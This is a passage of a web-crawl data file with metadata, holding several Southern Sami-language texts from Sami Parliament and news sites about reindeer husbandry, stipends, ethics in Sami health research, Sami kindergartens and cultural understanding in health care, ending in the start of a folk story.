Daennie prosessesne lea aaj eevre daerpies tjïelkestidh båatsoeståvroen funksjovnem, mandaatem jïh gïeh edtjieh meatan årrodh ståvrosne.\n- Joe dennie voestes budsjedtesne posisjovnedåehkie lea vierhtieh lyjkeme akten lissie faagebarkijasse båatsoesuerkesne, aktem bielie millijovnem kråvnah goh viehkie juktie båatsoelaakem gïehtjedidh, jïh vielie vierhtieh ohtsemebaseradamme dåarjojde, Muotka madtjeles jeahta.\nSaemiedigkie lea reaktadåarjoeöörnegem nænnoestahteme, mij lea akte vihkeles öörnege jieliemasse, gusnie dej minngemes jaepiej ohtsemh bijjelen 7 millijovnh kråvnaj åvteste, aktem stoerre daerpiesvoetem vuesiehtieh lissiehtimmien bïjre. Posisjovne aaj aktem sisnjelds aalkoejielememoenehtsem nammoehtamme, mij sæjhta tsiehkiem aalkoejieliemidie gïehtjedidh jïh juvnehtimmiejgujmie båetedh akten orre jïh jarkelamme politihkeles barkose daennie suerkesne.\n- Tjåenghkies vuajneme mijjieh libie vuarjasjamme båatsoe sæjhta veaksahkåbpoe sijjiem åadtjodh daehtie barkoste. Saemiedigkie barkoem nænnoestahta dovne lissiehtamme vierhtiejgujmie jïh beetnegigujmie, seamma tïjjen goh stuerebe politihkeles faamoem jïh krïevenassh åejvieladtjide bïejebe.\nMuotka tjirkie Saemiedigkie sæjhta loevtsæjresne tjåadtjodh jielieminie dejnie haestieminie dah utnieh.\nJis vielie bïevnesh sïjhth, gaskesadth saemiedigkieraeriem Silje Karine Muotka, tellefovne 984 87 576","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Baaatsoestaavroe-tjuara-jeatjahtovvedh","date":"2019-01-23T00:40:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583879117.74\/warc\/CC-MAIN-20190123003356-20190123025356-00547.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":367,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15.6 - 18:00\nSaemiedigkeste seniorraeriestæjja Liss-Ellen Ramstad meatan.\nNASCO lea North Atlantic Salmon Conservation Organization jïh lea akte årganisasjovne dejtie staatide mah dam iemie loesem reerieh. Saemiedigkieh Nöörjesne jïh Såevmesne leah doh aajne mah vïhtesjæjjastatusem NASCO:sne utnieh dan åvteste dah leah aalkoealmetjeparlameenth. Nöörjesne Nöörjen Vijrije- jïh Göölijesiebrie, Båantasiebrie jïh WWF vïhtesjæjjastatusem utnieh.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Oeoernedimmieh\/Meatan-NASCO-sne","date":"2019-01-20T07:31:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583700734.43\/warc\/CC-MAIN-20190120062400-20190120084400-00018.warc.gz","language":"sma","language_score":0.9999257326,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999257326126099}","num_words":49,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkiepresidente Aili Keskitalo vitnijidie læhkohte. Dïhte jeahta gaajhkh vitnijh leah hijven åvteguvvieh sijjen gaarsjelimmesne jïh kultuvresuerkine.\n– Gaajhkh stipendevitnijh vuesiehtieh dah sijjen kultuvresuerkieh jïh gaarsjelimmieh itjmieslaakan vaeltieh jïh hijven illedahkide vuesiehtieh, voengesne, regijonaale jïh nasjonaale sijjesne. Gaajhkesh dovnesh leah vyörtegs vitnijh stipendijste jïh leah hijven åvteguvvieh mubpide, saemiedigkiepresidente Aili Keskitalo jeahta.\nStipende edtja noeride skreejrehtidh\nSaemiedigkien kultuvre- jïh gaarsjelimmiestipende edtja saemien noerh skreejrehtidh tjeahpoen, kultuvren jïh gaarsjelimmien sisnjelen eadtjaldovvedh. Njieljie stipendh vadtasuvvieh jïh fïerhte stipende lea 25 000 kråvnah. Stipende edtja aktegsalmetjidie juhtedh gåabpagihtie tjoeleste. Dah mah stipendem åadtjoeh edtjieh gaskem 16 jïh 25 jaepieh årrodh dan jaepien stipende vadtasåvva.\n20 ohtsemh sïjse böötin, men akte dejstie ohtsemijstie mierien mænngan bööti. 12 noerh gaarsjelimmiestipenden bïjre syökin jïh tjïjhtje kultuvrestipeendem syökin.\nVitnijh gaarsjelimmiestipendeste\nSaemiedigkiepresidente Aili Keskitalo jeahta vuetjije Benedicte Guttorm jïh taekwondo-gïehtelæjja Sajane Karina Olsen lea hijven sijjieh åådtjeme abpe boelhken tjïrrh, jïh gåabpatjahkh leah bijjiegeatjan båateme sijjen gaarsjelimmine dovne regijonaale jïh nasjonaale sijjesne. Dah hijven åvteguvvine vååjnoeh saemien noeride mah sijhtieh gaarsjelimmine itjmieslaakan gïehtelidh, Keskitalo jeahta.\nBenedicte Guttorm hijven evtiedimmiem åtneme sov gaarsjelimmien sisnjelen, jïh hijven sijjieh åådtjeme dovne regijonaale jïh nasjonaale sijjesne. Daan jaepien Laantevuetjijegaahtjemisnie Skierdesne dïhte feeltevuetjemem vitni klaassesne båarasåbpoe junior, jïh 2. sæjjan baanevuetjiemisnie bööti.\nSajane Karina Olsen lea dovne regijonaale, nasjonaale jïh gaskenasjonaale daltesisnie gaahtjeme suerkine möönstere jïh sparring. Dïhte hijven illedahkh åådtjeme jïh jienebh NNM-, NM- jïh World Cup-medaljh åådtjeme. Dïhte sæjhta jïjtjemse guhkiebasse evtiedidh taekwondoen sisnjelen, jïh daejnie itjmieslaakan gïehtele. Dïhte laakan saavreminie våhkoej, lissine nuerebe gïehtelæjjah bihkede. Daelie tjeehpes beelhtem åtna sov gaarsjelimmesne.\nVitnijh kultuvrestipendeste\n– Anna Kaisa Partapuoli jïh Johan Daniel Turi lægan gåabpatjahkh tjiehpiedæjjah stoerre taleentine. Dïhte akte lea nommem åådtjeme slampoesijen sisnjelen, jïh dïhte mubpie lea aalkeme jïjtjemse tseegkedh sov suerkien sisnjelen. Gåabpatjahkh aktem stoerre eadtjohkevoetem vuesiehtamme, jïh abpe vaajmojne sijjen kultuvresmaaregigujmie gïehtelieh. Dah hijven åvteguvvine vååjnoeh saemien noeride mah sijhtieh tjeahpojne jïh kultuvrine gïehtelidh, saemiedigkiepresidente Aili Keskitalo jeahta.\nAnna Kaisa Partapuoli lea akte gellielaaketje kultuvrebarkije jïh lissine studijidie dïhte tjeahpojne jïh duedtine gïehtele. Partapuoli lea akte jååhkesjamme slampoete saemien siebriedahkesne, jïh lij veeljesovveme goh daan jaepien noere tjiehpiedæjja Riddu Riđđu-festivaalesne jaepien 2018. Saemien slampoesije vuajnelge goh orresjugneden saemien lidteratuvren jïh kultuvren sisnjelen. Dïhte aaj aerpievuekien duedtine gïehtele, jïh sæjhta jieliemassem utnedh tjeahposte jïh kultuvreste båetijen aejkien.\nJohan Daniel Turi klassiske musihkem låhka NTNU:sne Tråantesne. Dan lea stoerre ïedtje saemien musihkem darjodh jïh lea aarebi tseegkem musihkerigujmie barkeme. Turi soejkesjh åtna mænngan ööhpehtimmiem galhkeme, jïh ussjede kultuvrine ellieslaakan gïehtelidh.\nVielie bïevnesh: Saemiedigkiepresideente Aili Keskitalo, 971 29 305","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Vuetjije-taekwondo-giehtelaejja-slampoete-jih-musihkere-Saemiedigkien-kultuvre-jih-gaarsjelimmiestipendem-aaadtjoeh","date":"2019-01-20T06:35:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583700734.43\/warc\/CC-MAIN-20190120062400-20190120084400-00594.warc.gz","language":"sma","language_score":0.9999741316,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999741315841675}","num_words":394,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kronihke: Saemiedigkieraerie Mikkel Eskil Mikkelsen\nHistovrijen tjïrrh veartenen aalkoealmetjh leah ov-etihkeles jïh ovnuhteligs dotkemem dååjreme. Mojhtesh daehtie dotkemistie hijvenlaakan jielieminie daejnie siebriedahkine. Laantine goh Canada, Australije jïh New Zealaante dan åvteste healsoedotkeme sjïere njoelkedassijste stuvresåvva mah aalkoealmetjh jïjtjenænnoestimmiem jïh tsevtsemefaamoem dotkemisnie gorredieh. Saemien healsoedotkeme lea akte dotkemesuerkie mij varke sjïdteminie. Seamma tïjjen ij naan njoelkedassh gååvnesh mah sjïerelaakan daam dotkemem stuvrieh. Saemiedigkie dan åvteste aktem moenehtsem nammoehti 2016 mij edtja raeriestimmiem buektedh dagkerh njoelkedasside.\nHealsoedotkeme aajkojne åtna orre daajroem skïemtjelassi jïh healsoen bïjre reebledh; dan sisnie aaj healsoedïenesjedotkeme, jïh dotkeme vïrrepryövide jïh jeatjah biologeles materijaalese almetjijstie. Saemien healsoedotkeme lea dotkeme gusnie saemieh goh dåehkie bieline sjidtieh dotkemegyhtjelassijste, jïh\/jallh desnie gusnie daatematerijaale tjïeltijste jallh jeatjah regijovnijste veedtjesåvva gusnie saemieh leah jienebelåhkosne, jallh akte stoerre bielie årroejijstie. Saemieh goh jeatjah almetjh, aktem jååhkesjamme reaktam utnieh dam jollemes fysiske jïh psykiske healsoestandaarden utnedh maam gåarede jaksedh. Dan åvteste vihkeles saemien jïh jeatjah åejvieladtjh Nöörjesne aktem veele jïh hijven daajroem saemien almetjehealsoen bïjre utnieh. Seamma vihkeles daate daajroe dotkemistie båata mij dam jollemes etihkeles standaardem åtna.\nDotkeme saemide aktem mïrhke åvtetje aejkiem åtna. Nöörjesne lij akte dotkeme saemide mij aktem tjïelke naelie-ideologeles ektie aajkoem utni boelhken gaskoeh 1800-låhkoen raejeste, voestes bielien 1900-låhkoen raajan. Ulmie dotkeminie lij vihtiestidh saemieh lin nåakelaakan evtiedamme jïh akte vueliehkåbpoe naelie mubpijste. Dotkeme aaj våaroeminie utni almetjedåehkieh jïh naelieh meehtin öörnesovvedh åejjienskuvhrien hammoen jïh åejjienskuvhrien gievlien mietie. Materijaalem daan dotkemasse åajvahkommes reeblin viehkine kroeptide reetsedh.\nSeamma tïjjen aaj dejtie jielije årroejidie dotkin. Åejjienskuvhrien gievlie möölesovvi ovrehte akten bealan dejstie årroejijstie Guovdageaidnusne, jïh akte stoerre bielie saemien årroejijstie Divtasvuodnesne. Njaalmeldh soptsestimmiej mietie dellie aaj åejjienskuvhriemööledimmieh dorjesovvin jieniebinie saemien dajvine Nöörjesne guhkiem mubpien veartenedåaroen mænngan. Daan histovrijen gaavhtan dellie jeenjesh saemien siebriedahkine mah leah sohtehtihks dotkemasse jïh dotkijidie daan biejjien. Daate dagke joekoen sjyöhtehke dejtie epidemiologeles dotkemeprosjektide Saepmesne, gusnie aajkoe lea bïevnesh sïjse tjöönghkedh dej etnisiteeten bïjre, seamma tïjjen goh vïrrepryövah jïh fysiske möölegh aaj dejstie seamma almetjijstie vaaltasuvvieh. Vihkeles daan beajjetje dotkijh daam histovrijem demtieh. Dotkije byöroe sjïerelaakan baajedh årrodh dïejvesh nuhtjedh jallh almetjh dåehkine juekedh mah maehtieh saemide unnebevyörtegs dööpmedh goh dåehkie. Aaj daerpies dotkemeilledahkh jeereldihkie jïh vååregelaakan åehpiedehtedh olles saemide stigmatiseredh. Dan åvteste daerpies etihkeles njoelkedassigujmie saemien healsoedotkemasse.\nHealsoedotkeme Nöörjesne lea joe joekoen striengkies etihkeles njoelkedassi nuelesne, jïh naakenh sijhtieh dagke jiehtedh etihkeles njoelkedassh saemien healsoedotkemasse eah leah daerpies dan sjïeken gaavhtan. Nöörjesne healsoedotkemelaake jïh daaletje etihkeles njoelkedassh tjïelke: daesnie almetjen aarvoem jïh almetjereaktide tjïerteste, gusnie almetji jearsoesvoete jïh tryjjesvoete edtjieh daejremevoeten jïh siebriedahken ïedtji åvtelen båetedh. Laakh leah uvtemes dorjesovveme dejnie aajkojne fïerhtem almetjem vaarjelidh, jïh etnihkeles dåehkiej reaktah leah ajve såemieslaakan neebnesovveme daaletje njoelkedassine.\nJïjtjenænnoestimmie lea akte ektie reakta aalkoealmetjh utnieh gaskenasjonaale konvensjovni jïh bæjhkoehtimmiej mietie. Gosse Nöörje ILO-konvensjovnem nr. 169 vihtiesti jaepien 1990, dellie staate saemide jååhkesji goh akte aalkoealmetje Nöörjesne. Aalkoealmetji jïjtjenænnoestimmiereakta uvtemes jeahta dah maehtieh jïjtjeraarehke sijjen politihkeles sijjiem jïh jïjtsh ekonomeles, sosijaale jïh kultuvrelle evtiedimmiem eevtjedh. Dan åvteste dotkeme ojhte våaromem vadta ekonomeles, sosijaale jïh kultuvrelle evtiedæmman, dellie aaj iemie aalkoealmetji jïjtjenænnoestimmiem aaj dotkemisnie krööhkestidh. Moenehtse dan åvteste daam raeriesti:\n1) Dotkije tjuara daerpiesvoeten mietie tjïelkestidh guktie edtja guejmievoetem dej saemien siebriedahkigujmie tjïrrehtidh jïh gorredidh.\n2) Lissine dan laakeviedteldihkie individuelle jååhkesjæmman medisijnen jïh healsoefaageles dotkemisnie, edtja åvtelen daatah saemien healsoedotkemisnie sïjse tjöönghkesuvvieh, akte saemien ektie jååhkesjimmie edtja gååvnesidh. Akte jååhkesjimmie Saemiedigkeste jallh dehtie årgaaneste maam Saemiedigkie nammohte, sæjhta akte dagkeres jååhkesjimmie årrodh. Akte ektie jååhkesjimmie edtja gaskem jeatjah gorredidh jeatjah etihkeles njoelkedassh saemien healsoedotkemisnie fulkesuvvieh.\n3) Saemieh goh åålmege reaktam utnieh daajroem åadtjodh jïjtsh healsoen bïjre. Dan åvteste moenehtse veanhta saemien etnisiteete tjuara seamma vuekien mietie registreradamme sjïdtedh goh jeatjah bïevnesh almetjeregisterisnie jïh dejnie laakeviedteldihkie healsoeregisterinie. (Mïetsk-åedtjieregistere, Jaamesfåantoeregistere, Vaajmoe- jïh vïrreåerieregistere jnv).\nGuktie edtja daejtie golme råajvarimmide rïektesisnie tjïrrehtidh, ij leah moenehtse sov reektehtsisnie neebneme. Saemiedigkie daelie vuarjesjeminie jienebh raerieh mejtie gåarede nuhtjedh jïh edtja annjebodts dan bïjre eajhnadovvedh gosse Saemiedigkien stoerretjåanghkoe gaavnede goeven aalkoelisnie. Munnjien lea vihkeles tjïertestidh saemien ektie jååhkesjimmie ij leah seamma goh politihkeles sïjsepleenteme dotkemisnie. Saemiedigkie aaj akte representatijve håalijeårgaane saemien årroji åvteste Nöörjesne. Dan åvteste ij leah naan jeatjebh goh Saemiedigkie – jallh akte årgaane maam Saemiedigkie nammoehtamme – mij maahta aktem ektie jååhkesjimmiem reeredh saemiej åvteste goh åålmege. Saemiedigkie lea jïjtjehke maadthvaerie dennie saemien jïjtjenænnoestimmiereaktesne.\nDaan biejjien etnisiteete goh bïevnese ij leah annjebodts akte bielie dejstie byögkeles registerijstie Nöörjesne; daate akte aerpie mubpien veartenedåaroen mænngan. Saemiedigkien stoerretjåanghkoe tjuara goeven aaj eajhnadovvedh moenehtsen raeriestimmien bïjre etnihkeles registreradimmien bïjre byögkeles registerinie. Mijjen lea gellie staateles, laakeviedteldihkie healsoeregisterh mah dotkemasse åtnasuvvieh jïh healsoem gaajhkide årroejidie Nöörjesne vååksjedieh. Dagkeres daajroe saemien almetjehealsoen bïjre ij maehtieh tseegkesovvedh dan guhkiem ij edtjh etnisiteetem registreradidh. Gosse datne goh årroje Nöörjesne skïemtjelassem åadtjoeh jïh dov diagnovsem dåaktaristie åadtjoeh, dåaktere dam healsoeregisteri sïjse registerede dov persovnenommeren tjïrrh. Jis saemiej etnisiteete aaj gårrehtalla persovnenommerasse, dellie systematihkeles healsoedaata jïh bijjieguvvieh healsoen bijjelen maehtieh hijven kvaliteetine aaj saemien årroejidie tseegkesovvedh.\nEevre vihkeles saemien healsoedotkeme båetijen aejkien dorjesåvva aktine lïhkebe gaskesinie gaskem dotkijidie jïh dejtie mejtie dotkeminie. Joekoen vihkeles njoelkedassh huksieh saemien healsoedotkeme gellievoetem jïh jïjtsevoetem krööhkeste jïh seahkarieh mah saemien kultuvresne jïh saemien siebriedahkine gååvnesieh. Byöroe iemie årrodh dotkemedåehkieh, goh akte bielie ryöjredimmijste healsoegoerehtimmide, Saemiedigkine gaskesedtieh, jallh dejnie årgaanine maam Saemiedigkie lea nammoehtamme. Daate juktie lïeredh dej dotkemedaerpiesvoeti bïjre mah Saepmesne gååvnesieh akten saemien perspektijven mietie jïh hijven jïh leajhtadihks healsoedotkemem gorredidh mij buaratjommesasse sjædta saemien almetjehealsose jïh saemien siebriedahkese. Dan åvteste daerpies etihkeles njoelkedassigujmie mah saemien ektie reaktam jïjtjenænnoestæmman aaj dorjesåvva healsoedotkemen sisnjelen.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/rorosnytt.no\/njoelkedassh-saemien-healsoedotkemasse\/","date":"2019-02-15T23:34:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247479627.17\/warc\/CC-MAIN-20190215224408-20190216010408-00339.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":877,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Saemien maanagïertefaalenasse\n- Prosjekte Sámi mánát ođđa searvelanjain\n- Aavoedimmie goevten 6. biejjeste maanagïertesne\nRaerielïhtsege\nKrirrie: NSR\nVihkeles leavloem bïejedh saemien gïelese jïh kultuvrese aktene saemien maanagïertefaalenassesne. Saemien maanah edtjieh kvalitatijve hijven maanagïertefaalenassem utnedh gusnie saemien aarvoeh, saemien kultuvre jïh aerpievuekien daajroe leah jarngesne.\nSaemien maanagïertefaalenasse\nSaemien maanagïertefaalenasse lea akte faalenasse gusnie maanagïerten barkoevåarome lea saemien gïele jïh kultuvre. Maanagïerte edtja maanaj saemien identiteetem nænnoestehtedh viehkine saemien gïelem nuhtjedh jïh saemien kultuvren bïjre bievnedh. Saemiengïelen pedagogeles barkijh maanagïertem stuvrieh.\nMaahta saemien maanagïertefaalenassem daejnie såarhtine juekedh: a) saemien maanagïerth jïh nöörjen maanagïerth saemien goevtesinie b) maanagïerth faalenassine saemien gïelelïerehtimmien bïjre.\nSaemiedigkie saemien maanagïertefaalenassese sjïehteladta viehkine dåarjoem reeredh maanagïertide. Maanagïerth mah aktem saemien maanagïertefaalenassem vedtieh maehtieh dejtie joekehts dåarjoeöörnegidie ohtsedh. Saemiedigkien budsjedte dejtie dåarjoeöörnegidie buerkeste.\nJuktie maanagïerten barkoem dåarjoehtidh Mieriesoejkesjinie maanagïerten sisvegasse jïh laavenjassine jienebh teemagærjetjh leah dorjesovveme. Teemagærjetjh edtjieh skraejrine jïh våaroeminie årrodh ussjedæmman gosse ovmessie teemajgujmie barka mah leah maanagïerten sisvegen jïh laavenjassi bïjre. Akte bïhkedæjja maanagïertide saemien maanajgujmie lea dorjesovveme.\nProsjekte Sámi mánát ođđa searvelanjain\nProsjekte Sámi mánát ođđa searvelanjain edtja vïjhtine jaepine jarkelimmiem sjugniedidh saemien maanagïertestruktuvresne mij saemien filosofijem jïh aerpievuekien daajroem våaroeminie åtna.\nDaate sæjhta jiehtedh saemien maanagïerth edtjieh maehtedh saemien pedagogeles vuekiej mietie barkedh mah saemien gïelem, kultuvrem jïh aerpievuekien daajroem jarngesne utnieh jïh leah dan daajbaaletje saemien siebriedahkese sjïehtedamme.\nEdtja tjåanghkoeh jïh seminaarh dotkijigujmie jïh universiteetigujmie tjïrrehtidh juktie juhteles saemien vuekieh damtijidh saemien kultuvren jïh filosofijen, gïelen jïh aerpievuekien daajroen mietie.\nPilotemaanagïerth ovmessie saemien dajvijste olkese veeljesuvvieh juktie saemien maanagïerten båetijem aejkiem hammoedidh. Gaajhkh maanagïerth jïh gaajhkh pedagogh edtjieh joekehtslaakan eadtjaldovvedh dovne maahtoeevtiedimmien tjïrrh jïh eadtjohkelaakan meatan årrodh sijjen daajrojne.\nSámi mánát ođđa searvelanjain edtja abpe Saepmesne barkedh dan gaavhtan prosjekte lea meatan Saemien parlamentarihkeles raerien dahkoesoejkesjisnie. Saemiedigkieh sveerjen jïh såevmien bielesne leah Interreg-vierhtieh ohtsedeminie juktie maehtedh meatan årrodh prosjektesne.\nSaemiedigkie prosjektem SáMOS «Saemien maanah orre ektietjiehtjielinie» aalkeme mij åejvieulmine åtna sisvege saemien maanagïertine edtja saemien filosofijem våaroeminie utnedh, gusnie saemien aarvoeh, saemien eatnemefilosofije, gïele, kultuvre, stuvreme jïh aerpievuekien daajroe dam pedagogeles barkoem guedtieh.\nSáMOS edtja viehkiehtidh saemien maanagïertepedagogihkem jïh didaktihkem evtiedidh saemien filosofijen mietie, jïh orre barkoevuekiem eevtjedh mij lea saemien ussjedimmievuekien mietie Saepmien ovmessie bieline, gusnie saemien aarvoeh, dekoloniseradimmie jïh jïjtjenænnoestimmie leah jarngesne. Daate maahtoelutnjemem kreava barkiji luvnie saemien gïelesne, kultuvresne jïh aerpievuekien daajrosne\nSaemiedigkie saemien maanagïerteaajhterh, maanagïerteåvtehkh, maanagïertelohkehtæjjah jïh jeatjah ïedtjeladtjh böörede Aerniesoptsestimmide dotkijigujmi ektine. Aajkoe lea ektesne soptsestidh guktie maahta saemien maanagïertepedagogihkem eevtjedh saemien gïelen jïh eatnemegoerkesen tjïrrh.\nSijjie: Røros hotell, Plassje\nDaatoe: Njoktjen 19. b. 2019, 09.30-15.30\nAamhtese: Saemien maanagïertepedagogihke saemien gïelen jïh eatnemegoerkesen muhteste\nProsjektesaetniesvoeth\nProsjekte jåhta vïjhte jaepieh voerhtjen 2018 raejeste\nSaemiedigkie lea prosjekten aajhtere\nBeetnehvierhtieh Maahtoedepartemeenten tjïrrh\nProsjektedåehkie:\nProsjekten åvtehke Ol-Johán Sikku\nAnna Kristine Skum Hætta jïh Anne Jannok Eira, prosjekten meatanbarkijh\nGudrun Kuhmunen jïh Anne Ingebjørg Eriksen, faageles tjiehpijh\nAavoedimmie goevten 6. biejjeste maanagïertesne\nGoevten 6. b. lea byögkeles saevegebiejjie Nöörjesne jïh abpe laante biejjiem meerhkesje goh saemiej åålmegebiejjie. Jïjnjh heannadimmieh jïh symbovlh leah ektiedamme dan beajjan.\nNuhteligs vierhtieh maanagïertide, skuvlide jïh mubpide:\n- Vierhtiegærjetje maanagïertide saemiej åålmegebiejjien bïjre (Aktesne.no)\n- Barkoeaarhke saemiej åålmegebeajjan (Maritvold maanagïerte)\n- Saemiej åålmegebiejjie (NRK Skole)\n- Lihku beivvin sámi álbmogii! (Forskning.no)\n- Saemiej åålmegebiejjie (NRK)\n- Sámi álbmotbeaivi p.s. (Forskning.no)\nLohkh vielie åålmegebiejjien jïh nasjonaale symbovli bïjre:","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Maanagierte","date":"2019-03-19T15:29:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201996.61\/warc\/CC-MAIN-20190319143502-20190319165502-00178.warc.gz","language":"sma","language_score":0.9999518394,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999518394470215}","num_words":512,"character_repetition_ratio":0.118,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.199,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kultuvregoerkese vihkeles healsoesuerkesne\nGerhardsen mij gellie jaepieh psykiatrijen sisnjelen barkeme lea dååjrehtamme kultuvregoerkese jïh gïele tsiehkiem sagke aelhkebe darjoeh dovne sujhtijasse jïh skïemtjijasse.\nJoekoen vihkeles seamma kultuvrem utnedh, jeenjesh dejstie mejgujmie manne leam soptsestamme vienhtieh kultuvre lea vihkielåbpoe gïeleste. Jis kultuvremaahtoem åtnah dellie siebriedahken tsiehkieh damth, datne jïjnjem mekanismi bïjre daajrah saemien siebriedahkesne, vuesiehtimmien gaavhtan saemieh skaamasjieh psykiatrijen bïjre soptsestidh. Jis ij daam kultuvregoerkesem utnieh dellie skïemtjije daamtaj tjuara guhkiem gïehtelidh sov kultuvrem tjïelkestidh, jïh dïhte gujht båehtjierdimmiem sturrie, Gerhardsen tjïelkeste.\nDïhte aaj veanhta akte dejstie vihkielommes fåantojste kultuvredaajroem utnedh lea dellie daajra guktie almetjh sinsitnine soptsestieh. Healsoebarkijh saemien kultuvrine jïh gïeline daejrieh vuesiehtimmien gaavhtan datne ih edtjh fuehpesne årrodh gosse edtjh man akt bïjre soptsestidh mij lea ånnetji gïerve.\n– Jis aktem saemien maadtoem jallh saemien kultuvregoerkesem åtna dellie daajra man aelhkie jallh gïerve lea tabuteemaj bïjre soptsestidh. Saemien kultuvresne desnie mijjieh vuesiehtimmien gaavhtan jïjnjem bïerkelibie. Akte saemien ålma ij sïjhth jiehtedh satne dan gaajh rudtjeste sjïdteme, dagke sæjhta jiehtedh \"manne aalkam rudtjesne damtedh\". Akte jeatjah vuesiehtimmie mov barkoste lea maam akte gujne, mij dåeriesmoerh utni, munnjien soptsesti gosse manne gihtjim mejtie dïhte lij jeatjah båehtjierdimmievuekieh pryöveme, \"manne gujht naakenidie ringkeme\", tjïelkesti. Mov ohtje daajroen gaavhtan saemien kultuvren jïh davvoje-aerpievuekien bïjre manne slyöhpim mov skïemtjijem gellie gyhtjelassh gihtjedh gïese satne lij ringkeme, psykologespesialiste tjïelkeste.\nIj ajve hijven\nLæjhkan Elisabeth Gerhardsen ij tuhtjh gaajhke hijven gosse healsoebarkijh daejnie såarhts kultuvregoerkesinie nuhtjieh. Dïhte aaj veanhta daate maahta heaptojne sjïdtedh dejnie smaave siebriedahkine gusnie gaajhkesh gaajhkesidie demtieh. Dïhte dan åvteste soptseste SANKS:ne dah leah eevre voerkeslaakan healsoebarkijh kultuvregoerkesinie noerhtesaemien dajveste seehteme åarjelsaemien dajvesne. Naemhtie barkijh kultuvrem demtieh men eah naan ektiedimmiem fuelhkide jallh voenges siebriedahkide utnieh, jïh destie skïemtjije maahta tuhtjedh båehtjierdimmie aelhkebe sjædta gosse båehtjierdæjja ij leah lïhkebistie.\n– Maajetjh sagke aelhkebe saemien kultuvrem nuhtjedh båehtjierdimmesne. Aarebi jeenjesh healsoesuerkesne lin jueriedisnie. Jïh annje maahta skïemtjijh råakedh mah eah saemien kultuvrem våaroeminie utnieh, mah ammes domtoeh jis saemien gïele jeatjah skïemtjijidie åtnasåvva, Gerhardsen tjïelkeste.\nBuerebe sjïdteme\nAkte dejstie mij lea dååjreme guktie gïele jïh kultuvre maehtieh akten skïemtjijen aarkebiejjiem aelhkebe darjodh lea skïemtjesåjhtere Anna Joma Granefjell, mij daelie pensjovnistine sjïdteme. Dïhte måjhta guktie akte åarjelsaemien skïemtjijen fuelhkie skïemtjegåetien åvtehkasse veedtsi jïh sïjhti satne meehti sijjen fuelhkielïhtsegem sujhtedh.\n– Dah maaje sïjhtin manne edtjim dam båeries skïemtjijem sujhtedh mij åajvahkommes saemiesti, men dellie striengkies bïevnesem åadtjoejim ij naemhtie darjodh, dan åvteste \"daennie skïemtjegåetesne gaajhkesh dovnesh seammalaakan gïetedibie\". Maajetjh ij lij naemhtie abpe mov barkoetïjjem. Gellien aejkien mov daajroe saemien gïelen jïh kultuvren bïjre lea gujht meatan orreme skïemtjijen tïjjem skïemtjegåetesne aelhkebe darjodh, Joma Granefjell minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/samimag.no\/sma\/content\/kultuvregoerkese-vihkeles-healsoesuerkesne","date":"2019-03-26T14:32:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205534.99\/warc\/CC-MAIN-20190326135436-20190326161436-00370.warc.gz","language":"sma","language_score":0.9999887943,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999887943267822}","num_words":420,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daam soptsesem gærjeste Lohkede saemien veedtjeme maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Jaepien 1993 gærja trygkesovvi.\nJohtelohken bïjre\nMijjieh limh bijjene Dievie-jaevrien bealesne årroeminie. Gåetieh lin desnie, åemie voehpen jïh vuanoven gåetie, jïh åemie vööhpedimmie Pieren gåetie.\nAkten tjaktjen, skïeredahken mænngan dellie rååresjibie gukt' edtjebe die aelkedh tjöönghkedh jïh varke gïjre-geegkese såålhtedh guktie galhkebe. Akten biejjien die Dievie-jaevrien bealese lïerhkelimh, jïh desnie die gïjre-beapmoeh stealladimh. Destie libie galhkeme, dellie aelkebe 